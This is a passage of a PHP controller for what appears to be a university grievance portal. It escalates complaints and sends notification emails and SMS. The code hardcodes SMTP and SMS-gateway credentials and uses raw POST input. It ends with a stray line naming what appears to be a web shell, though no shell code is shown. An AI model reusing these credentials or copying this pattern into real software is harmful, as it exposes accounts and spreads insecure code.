			    if($complaintDetails['category'] == 'Academic' || $complaintDetails['category'] == 'academic'){
					if($grievanceArray['grievance_sent_as'] == 'school_wise'){
						//if(in_array($_POST['grievance_type'],array('65','66','70','77','83'))){
							 $contactAdminDetails = $this->Common_model->getSingleRecordofgrievanceEmailSpoke('admin','*',$complaintDetails['grievance_type'],array('status'=>'1','category'=>'Academic','school_id'=>$complaintDetails['school_id'],'user_level'=>'L1'));	
						}
						//else if(in_array($_POST['grievance_type'],array('67','68','71','72'))){
						else if($grievanceArray['grievance_sent_as'] == 'department_wise'){
							$contactAdminDetails = $this->Common_model->getSingleRecordofgrievanceEmailSpoke('admin','*',$complaintDetails['grievance_type'],array('status'=>'1','category'=>'Academic','school_id'=>$complaintDetails['school_id'],'department_id'=>$complaintDetails['department_id'],'user_level'=>'L1'));	
						}else{
							$contactAdminDetails = $this->Common_model->getSingleRecordofgrievanceEmailSpoke('admin','*',$complaintDetails['grievance_type'],array('status'=>'1','category'=>'Academic','user_level'=>'L1'));	
						}
				//   $contactAdminDetailscount = $this->Common_model->getAllRecordscount('admin','*',array('status'=>'1','category'=>'Academic','grievance_type'=>$complaintDetails['grievance_type'],'user_level'=>'L1'));
				// 	if($contactAdminDetailscount>1){
				// 		//grievances sent to hod department wise 
				// 		if($complaintDetails['grievance_type'] =='67'||$complaintDetails['grievance_type'] =='68'||$complaintDetails['grievance_type'] =='71'||$complaintDetails['grievance_type'] =='72'){
				// 			$contactAdminDetails = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','category'=>'Academic','grievance_type'=>$complaintDetails['grievance_type'],'school_id'=>$complaintDetails['school_id'],'department_id'=>$complaintDetails['department_id'],'user_level'=>'L1'));	
				// 		}
				// 		else{
				// 			//grievances sent school wise
				// 			$contactAdminDetails = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','category'=>'Academic','grievance_type'=>$complaintDetails['grievance_type'],'school_id'=>$complaintDetails['school_id'],'user_level'=>'L1'));	
				// 		}
				// 	}
				// 	else if($contactAdminDetailscount==1){
				// 		// grievance related to only one admin record
				// 		$contactAdminDetails = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','category'=>'Academic','grievance_type'=>$complaintDetails['grievance_type'],'user_level'=>'L1'));	
				// 	}
					$data['complaintlevelemail'] =  $contactAdminDetails['username'];
			   }else if($complaintDetails['category'] == 'Non-Academic' || $complaintDetails['category'] == 'non-Academic'){
			        //$grievanceArray = $this->Common_model->getSingleRecord('grievance_type','*',array('id'=>$complaintDetails['grievance_type'],'status'=>'1','category'=>'Non-Academic'));
					$contactSpokeDetails = $this->Common_model->getSingleRecord('su_departments','*',array('name'=>$grievanceArray['department'],'status'=>'1'));
					if($contactSpokeDetails['id']>0 && $contactSpokeDetails['contact_email']!=''){
						$data['complaintlevelemail'] =  $contactSpokeDetails['contact_email'];
					}
			   }
		    }
			//New,pending,closed grievances of Level 2
			else if($complaintDetails['complaint_level']<=6){
				if($complaintDetails['category'] =='Academic'||$complaintDetails['category'] =='academic'){
				   $contactAdminDetails = $this->Common_model->getSingleRecord('admin','*',array('school_id'=>$complaintDetails['school_id'],'status'=>'1','category'=>'Academic','user_level'=>'L2'));
				}else{
					$contactAdminDetails = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','category'=>'Non-Academic','user_level'=>'L2'));
				}
				$data['complaintlevelemail'] =  $contactAdminDetails['username'];
			}
			//New,pending,closed grievances of Level 3
			else{
				$contactAdminDetails = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','user_level'=>'L3'));
				$data['complaintlevelemail'] =  $contactAdminDetails['username'];
		   }
		}
	
		if($_POST['remarks']=='Submit')
		{
			$status = $_POST['status'];
			$incident_process = $_POST['incident_process'];
			$incident_category_id = $_POST['incident_category_id'];
			$remark = $_POST['remark'];
			if($status!='push back'){
				$department_id = $_POST['department_id'];
			} else {
				$department_id = '2';
			}
			
			$compNumber = $complaintDetails['compNumber'];
			$complaintNumber = $complaintDetails['complaintNumber'];
			$params = array();
			$params = array('userId'=>$complaintDetails['userId'],'assigned_department_id'=>$department_id,'status'=>$status,'remark'=>$remark,'complaintNumber'=>$compNumber,'remarkDate'=>date('Y-m-d H:i:s'));
			$this->Common_model->saveinfo($tbl_complaint_name,$params);
			// Change Status
			$complaints_params = array();
			$complaints_params['status'] = $status;
			$complaints_params['department_id'] = $department_id;
			$complaints_params['complaint_level'] = '2';
			$complaints_params['incident_process'] = $incident_process;
			$complaints_params['incident_category_id'] = $incident_category_id;
			if($status=='closed') {
				$complaints_params['complaint_level'] = '3';
			}
			$complaintDetails = $this->Common_model->getSingleRecord($tbl_name,'*', array('complaintNumber'=>$complaintNumber));
			$complaints_params['lastUpdationDate'] = date('Y-m-d H:i:s'); 
			$this->Common_model->updateinfo($tbl_name, $complaints_params, 'compNumber', $complaintDetails['compNumber']);
			
			$userDetails = $this->Common_model->getSingleRecord('grievance_users','*', array('id'=>$complaintDetails['userId']));
			$departmentDetails = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','is_deleted'=>'0','department_id'=>$department_id));
					
			if($status=='in process'){
				// Send Inprogress SMS/Email To User
				$this->sendInprogressSMSEmail($userDetails,$complaintDetails);
				
				// Send Email to Related Departments
				$this->sendInprogressAlertEmail($departmentDetails,$complaintDetails,$remark);
				
			} else if($status=='push back'){
				$this->sendPushBackAlertEmail($departmentDetails,$complaintDetails,$remark);
			}
			
			redirect('complaints/viewdetails?cid='.$complaintNumber.'&msg=success');
		}
		if($_POST['approvalremarks']=='Submit')
		{
		
			$incident_category_id = $_POST['incident_category_id'];
			if($incident_category_id=='1') {
				$department_id = '5';
			} else if($incident_category_id=='2') {
				$department_id = '4';
			} else {
				$department_id = '2';
			}
			$remark = $_POST['remark'];
			
			
			$compNumber = $complaintDetails['compNumber'];
			$complaintNumber = $complaintDetails['complaintNumber'];
			$params = array();
			$params = array('userId'=>$complaintDetails['userId'],'assigned_department_id'=>$department_id,'remark'=>$remark,'complaintNumber'=>$compNumber,'remarkDate'=>date('Y-m-d H:i:s'));
			
			$this->Common_model->saveinfo($tbl_complaint_name,$params);
			// Change Status
			$complaints_params = array();
			
			$complaints_params['department_id'] = $department_id;
			$complaints_params['complaint_level'] = '2';
			$complaints_params['incident_category_id'] = $incident_category_id;
			
			$complaintDetails = $this->Common_model->getSingleRecord($tbl_name,'*', array('complaintNumber'=>$complaintNumber));
			$complaints_params['lastUpdationDate'] = date('Y-m-d H:i:s'); 
			$this->Common_model->updateinfo($tbl_name, $complaints_params, 'compNumber', $complaintDetails['compNumber']);
			
			$userDetails = $this->Common_model->getSingleRecord('grievance_users','*', array('id'=>$complaintDetails['userId']));
			$departmentDetails = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','is_deleted'=>'0','department_id'=>$department_id));
			
			// Send Inprogress SMS/Email To User
			$this->sendInprogressSMSEmail($userDetails,$complaintDetails);
			// Send Email to Related Departments
			$this->sendInprogressAlertEmail($departmentDetails,$complaintDetails,$remark);
			
			redirect('complaints/viewdetails?cid='.$complaintNumber.'&msg=success');
		}
		
		if($_POST['cooremarks']=='Submit')
		{
			$status = $_POST['status'];
			$remark = $_POST['remark'];
			$department_status = '1';
			$levelone_status = '0';
			if($status!='push back'){
				$department_id = '5';
				$levelone_status = '1';
			} else {
				$department_id = '2';
			}
			$incident_department_id = $_SESSION['ADMIN_DETAILS']['department_id'];
			$compNumber = $complaintDetails['compNumber'];
			$complaintNumber = $complaintDetails['complaintNumber'];
			
			$params = array();
			$params = array('userId'=>$complaintDetails['userId'],'incident_department_id'=>$incident_department_id,'assigned_department_id'=>$department_id,'status'=>$status,'remark'=>$remark,'complaintNumber'=>$compNumber,'department_status'=>$department_status,'levelone_status'=>$levelone_status,'remarkDate'=>date('Y-m-d H:i:s'));
			
			$this->Common_model->saveinfo($tbl_complaint_name,$params);
			
			
			$complaintDetails = $this->Common_model->getSingleRecord($tbl_name,'*', array('complaintNumber'=>$complaintNumber));
			
			/***************** START HERE ****************************/
				
			$complaints_params = array();
			
			$complaints_params['lastUpdationDate'] = date('Y-m-d H:i:s'); 
			if($complaintDetails['incident_process']=='2' && $status!='push back'){
				$complaints_params['complaint_level'] = '3';
				$complaints_params['department_id'] = '2';
				$complaints_params['status'] = $status;
			} else {
				$complaints_params['complaint_level'] = '2';
				$complaints_params['department_id'] = $department_id;
			}
			$this->Common_model->updateinfo($tbl_name, $complaints_params, 'complaintNumber', $complaintNumber);
			
			
			/***************** END HERE ****************************/
			$departmentDetails = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','is_deleted'=>'0','department_id'=>$department_id));
			
			if($status!='push back'){
				$userDetails = $this->Common_model->getSingleRecord('grievance_users','*', array('id'=>$complaintDetails['userId']));
				if($complaintDetails['incident_process']=='2'){
					$this->sendSMSEmail($userDetails,$complaintDetails);
				} else {
					$this->sendInprogressSMSEmail($userDetails,$complaintDetails);
					$this->sendInprogressAlertEmail($departmentDetails,$complaintDetails,$remark);
				}
				
			} else if($status=='push back'){
				$this->sendPushBackAlertEmail($departmentDetails,$complaintDetails,$remark);
			}				
			
			$this->session->set_flashdata('success', '<span class="alert alert-success">COO level feedback added successfully</span>');
			redirect('complaints/viewdetails?cid='.$complaintNumber.'&msg=success');
		}
		
		if($_POST['msremarks']=='Submit')
		{
			$status = $_POST['status'];
			$remark = $_POST['remark'];
			$department_id = '2';
			$department_status = '0';
			$levelone_status = '0';
			$complaint_level = '2';
			$leveltwo_status = '0';
			$complaintstatus = 'in process';
			if($status!='push back'){
				$levelone_status = '1';
				$leveltwo_status = '1';
				$complaint_level = '3';
				$department_status = '3';
				$complaintstatus = 'closed';
			} 
			
			$incident_department_id = $_SESSION['ADMIN_DETAILS']['department_id'];
			$compNumber = $complaintDetails['compNumber'];
			$complaintNumber = $complaintDetails['complaintNumber'];
			$params = array();
			$params = array('userId'=>$complaintDetails['userId'],'incident_department_id'=>$incident_department_id,'assigned_department_id'=>$department_id,'status'=>$status,'remark'=>$remark,'complaintNumber'=>$compNumber,'department_status'=>$department_status,'levelone_status'=>$levelone_status,'leveltwo_status'=>$leveltwo_status,'remarkDate'=>date('Y-m-d H:i:s'));
			$this->Common_model->saveinfo($tbl_complaint_name,$params);
		
			/***************** START HERE ****************************/

			$complaints_params = array();
			$complaints_params['status'] = $complaintstatus;
			$complaints_params['department_id'] = $department_id;
			$complaints_params['complaint_level'] = $complaint_level;
			$complaints_params['lastUpdationDate'] = date('Y-m-d H:i:s'); 
			$this->Common_model->updateinfo($tbl_name, $complaints_params, 'complaintNumber', $complaintNumber);


			/***************** END HERE ****************************/
			$departmentDetails = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','is_deleted'=>'0','department_id'=>$department_id));
			
			$complaintDetails = $this->Common_model->getSingleRecord($tbl_name,'*', array('complaintNumber'=>$complaintNumber));
			if($status!='push back'){
				$userDetails = $this->Common_model->getSingleRecord('grievance_users','*', array('id'=>$complaintDetails['userId']));
				$this->sendSMSEmail($userDetails,$complaintDetails);
			} else {
				$this->sendPushBackAlertEmail($departmentDetails,$complaintDetails,$remark);
			}				
			
			$this->session->set_flashdata('success', '<span class="alert alert-success">MS level feedback added successfully</span>');
			redirect('complaints/viewdetails?cid='.$complaintNumber.'&msg=success');
		}
		
		if($_SESSION['ADMIN_DETAILS']['user_level']<>'L1') {
			$data['grievanceDetails'] = $this->Common_model->getSingleRecord('tblcomplaints','*', array('compNumber'=>$complaintDetails['compNumber']));
		}
		// School Array
		$data['schoolArray'] = $schoolArray = $this->Common_model->getSchoolList('su_schools');		
		// Department Array
		$data['departmentArray'] = $departmentArray = $this->Common_model->getDepartmentList('su_departments','id,name,is_display', array('status'=>'1'));
		// Get grievance Array
		$data['grievanceArray'] = $grievanceArray = $this->Common_model->getGrievanceList('grievance_type');

		//Reminder emails count
		$data['reminderCount'] = $this->Common_model->getAllRecords('tbl_reminders','id',array('complaintNumber'=>$id));

		//Send Manual Reminder Mails
		if(isset($_POST['sendReminder'])){
			if($_POST['emailId']){
			    $complaintDetails = $this->Common_model->getSingleRecord('tblcomplaints','*', array('complaintNumber'=>$_POST['complaintNumber']));
				$complaintDetails['school_name'] = $schoolArray[$complaintDetails['school_id']];
				$complaintDetails['department_name'] = $departmentArray[$complaintDetails['department_id']];
				$complaintDetails['grievance_name'] = $grievanceArray[$complaintDetails['grievance_type']]['grievance_name'];
				$params = ['complaintNumber'=>$_POST['complaintNumber'],'userId'=>$_SESSION['id'],'email'=>$_POST['emailId'],'createdon'=>date('Y-m-d H:i:s')];
				$this->Common_model->saveinfo('tbl_reminders',$params);
				$this->sendReminderEmail($_POST['emailId'],$complaintDetails);
				$this->session->set_flashdata('remindersuccess','Reminder Email sent successfully to '.$_POST['emailId']);
			}
			redirect('complaints/viewdetails?cid='.$_POST['complaintNumber'].'&msg=success');
		}
		$action_id = $_GET['cid'];
		if($action_id>0){
			$data['deptActionDetails'] = $this->Common_model->getSingleRecord('tbl_department_action_details',' * ', array('complaint_id'=>$action_id)); 
		}
		// SET SEO DATA
		$head['title'] = @$arrSeo['title']!='' ? $arrSeo['title'] : 'User Complaint History - Sharda Grievance Portal';
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('viewdetails', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : sendPushBackAlertEmail
	*/
	public function sendPushBackAlertEmail($params, $complaintDetails,$remark)
	{
	
		$mobile = $params['mobile_no'];
		$email_id = $params['username'];
		$fullName = $params['full_name'];
		$params['compNumber'] = $complaintDetails['compNumber'];
		$params['complaindetails'] = $complaintDetails['complaindetails'];
		$params['regDate'] = $complaintDetails['regDate'];
		$params['remark'] = $remark;
		//print_r($params); die;
		if($email_id!='') 
		{
				
			$template = $this->load->view('email_template/pushback_confirmation_email', $params, true);
			$subject = 'Request to Escalate Incident to Quality Department for  '. $complaintDetails['compNumber'];
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		
	}
	
	
	/*
	* Function : sendInprogressAlertEmail
	*/
	public function sendInprogressAlertEmail($params, $complaintDetails, $remark)
	{
	
		$mobile = $params['mobile_no'];
		$email_id = $params['username'];
		$fullName = $params['full_name'];
		$params['compNumber'] = $complaintDetails['compNumber'];
		$params['complaindetails'] = $complaintDetails['complaindetails'];
		$params['regDate'] = $complaintDetails['regDate'];
		$params['remark'] = $remark;
		$params['fullName'] = $params['full_name'];
		
		if($email_id!='') 
		{
			$template = $this->load->view('email_template/department_confirmation_email', $params, true);
			$subject = 'Urgent Incident Assignment Request for  '. $complaintDetails['compNumber'];
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		//if($mobile!='') {
			//$sms_content="Incident Online Portal - Your grievance number ". $complaintDetails['compNumber']." is In-Progress.";
			//$this->sendSMS($mobile, $sms_content);
		//}
	}
	
	
	/*
	* Function : sendInprogressSMSEmail
	*/
	public function sendInprogressSMSEmail($params, $complaintDetails)
	{
	
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$fullName = $params['fullName'];
		$params['compNumber'] = $complaintDetails['compNumber'];
	
		if($email_id!='') 
		{
				
			$template = $this->load->view('email_template/inprogress_confirmation_email', $params, true);
			$subject = 'Dear '.$fullName.', Your incident number '. $complaintDetails['compNumber'].' is In-Progress.';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		//if($mobile!='') {
			//$sms_content="Incident Online Portal - Your grievance number ". $complaintDetails['compNumber']." is In-Progress.";
			//$this->sendSMS($mobile, $sms_content);
		//}
	}
	
	/*
	* Function : sendNextLevelInprogressSMSEmail
	*/
	public function sendNextLevelInprogressSMSEmail($params, $complaintDetails)
	{
	
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$fullName = $params['fullName'];
		$params['compNumber'] = $complaintDetails['compNumber'];
		return true;
		
		if($email_id!='') 
		{
				
			$template = $this->load->view('email_template/inprogress_nextlevel_confirmation_email', $params, true);
			$subject = 'Incident number '. $complaintDetails['compNumber'].' Status is In-Progress.';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		if($mobile!='') {
			$sms_content="Incident Portal - Your incident number ". $complaintDetails['compNumber']." Status is In-Progress. Kindly check the portal for comments.";
			//$this->sendSMS($mobile, $sms_content);
		}
	}
	
	/*
	* Function : sendSMSEmail
	*/
	public function sendSMSEmail($params, $complaintDetails)
	{
	
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$fullName = $params['fullName'];
		$params['compNumber'] = $complaintDetails['compNumber'];
		return true;
		
		if($email_id!='') 
		{
				
			$template = $this->load->view('email_template/closed_confirmation_email', $params, true);
			$subject = 'Dear '.$fullName.', Your incident number'. $complaintDetails['compNumber'].' has been resolved.';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		if($mobile!='') {
			$sms_content="Incident Redressal Online Portal - Your grievance number ". $complaintDetails['compNumber']." has been resolved.";
			//$this->sendSMS($mobile, $sms_content);
		}
	}	
	/*
	* Function : sendNextLevelSMSEmail
	*/
	public function sendNextLevelSMSEmail($params, $complaintDetails)
	{
	
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$fullName = $params['fullName'];
		$params['compNumber'] = $complaintDetails['compNumber'];
		return true;
		if($email_id!='') 
		{
				
			$template = $this->load->view('email_template/closed_nextlevel_confirmation_email', $params, true);
			$subject = 'Grievance number '. $complaintDetails['compNumber'].' Status is Closed.'; 
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		if($mobile!='') {
			$sms_content="Incident Online Portal - Your grievance number ". $complaintDetails['compNumber']." is Closed. Kindly check the portal for closure comments.";
			$this->sendSMS($mobile, $sms_content);
		}
	}
	
	/*
	* Function : sendCommonEmail
	*/
	private function sendCommonEmail($to, $subject, $message)
	{
		$resp = send_email_pepipost($to, $subject, $message);
		return $resp;
		
		/*$CI =& get_instance();
		$CI->load->library('email');
		$mail=$CI->email;
		$mail->clear();
		$from_email = 'grievance@sharda.ac.in';
		$from_name = 'Sharda University Incident Online Portal';
		$config['charset'] = 'utf-8';
		$config['wordwrap'] = TRUE;
		$config['mailtype'] = 'html';
		$config['protocol']   = "smtp";
		$config['smtp_host']  = 'ssl://smtp.gmail.com';
		$config['smtp_user']  = 'grievance@sharda.ac.in';
		$config['smtp_pass']  = 'grievance@2020';
		$config['smtp_port']  = '465';
		$config['_auth_smtp'] = TRUE;
		$config['newline']    = "\r\n";
		$config['crlf']       = "\r\n";
		$mail->initialize($config);
		$mail->from($from_email, $from_name);
		$mail->to($to);
		$mail->reply_to($from_email, $from_name);
		$mail->subject($subject);
		$mail->message($message);
		return $mail->send();*/
	}
	
	/*
	* Function : sendSMS
	*/
	private function sendSMS($mob, $msg)
	{
		if($mob>0 && $msg!='')
		{
			$msg=urlencode($msg);
			$ch = curl_init();
			curl_setopt($ch,CURLOPT_URL,  "http://bulkpush.mytoday.com/BulkSms/SingleMsgApi");
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS, "feedid=363901&username=9015129267&password=wgtpt&To=".$mob."&Text=".$msg."&time=&senderid=shardacom_trans");
			$buffer = curl_exec($ch);
			curl_close($ch);
			return true;
			
		}
	}

	/*
	* Function : sendReminderEmail
	*/
	public function sendReminderEmail($email_id, $complaintDetails)
	{
		if($email_id!='') 
		{				
			$template = $this->load->view('email_template/reminder_mailer', $complaintDetails, true);
			$subject = 'Reminder! Academic Pending Incident';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
	}	
 }

Kontol Shell Bypass